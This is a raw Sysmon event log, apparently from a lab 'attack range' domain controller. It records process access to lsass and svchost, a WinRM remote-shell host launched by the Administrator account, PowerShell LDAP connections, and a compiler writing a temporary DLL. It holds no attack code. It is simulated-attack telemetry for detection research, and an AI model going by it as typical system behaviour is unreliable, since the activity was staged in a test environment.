09:10:23.835{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002888Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.835{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002887Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.835{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002886Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.835{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002885Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.835{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002884Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.835{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002883Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.835{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28FF-5F80-8C00-000000007F01}4720C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002882Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.835{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28FF-5F80-8C00-000000007F01}4720C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002881Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.844{A5F018FF-28FF-5F80-8C00-000000007F01}4720C:\Windows\System32\winrshost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for WinRM's Remote Shell pluginMicrosoft® Windows® Operating SystemMicrosoft Corporationwinrshost.exeC:\Windows\system32\WinrsHost.exe -EmbeddingC:\Windows\system32\ATTACKRANGE\Administrator{A5F018FF-28FF-5F80-9D63-050000000000}0x5639d0HighMD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x80000000000000002880Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.835{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002879Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.835{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002878Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.835{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002877Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.741{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002876Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.741{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002875Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.741{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002874Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.741{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002873Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.741{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002872Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.741{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 354300x80000000000000002871Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:21.582{A5F018FF-28F7-5F80-8500-000000007F01}4140C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56380-false10.0.1.14win-dc-1796611.attackrange.local389ldap 354300x80000000000000002870Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:21.577{A5F018FF-28F7-5F80-8500-000000007F01}4140C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56379-false10.0.1.14win-dc-1796611.attackrange.local389ldap 22542200x80000000000000002869Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:21.566{A5F018FF-28F7-5F80-8500-000000007F01}4140win-dc-1796611.attackrange.local0fe80::15f7:4ea2:8f9e:67e8;::ffff:10.0.1.14;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 11241100x80000000000000002998Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:24.851{A5F018FF-2900-5F80-9200-000000007F01}5004C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeC:\Users\Administrator\AppData\Local\Temp\0jplke43.dll2020-10-09 09:10:24.601 10341000x80000000000000002997Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.851{A5F018FF-28FF-5F80-8D00-000000007F01}47444736C:\Windows\system32\conhost.exe{A5F018FF-2900-5F80-9300-000000007F01}4308C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002996Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.851{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002995Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.851{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002994Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.851{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2900-5F80-9300-000000007F01}4308C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002993Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.851{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002992Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:24.851{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002991Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 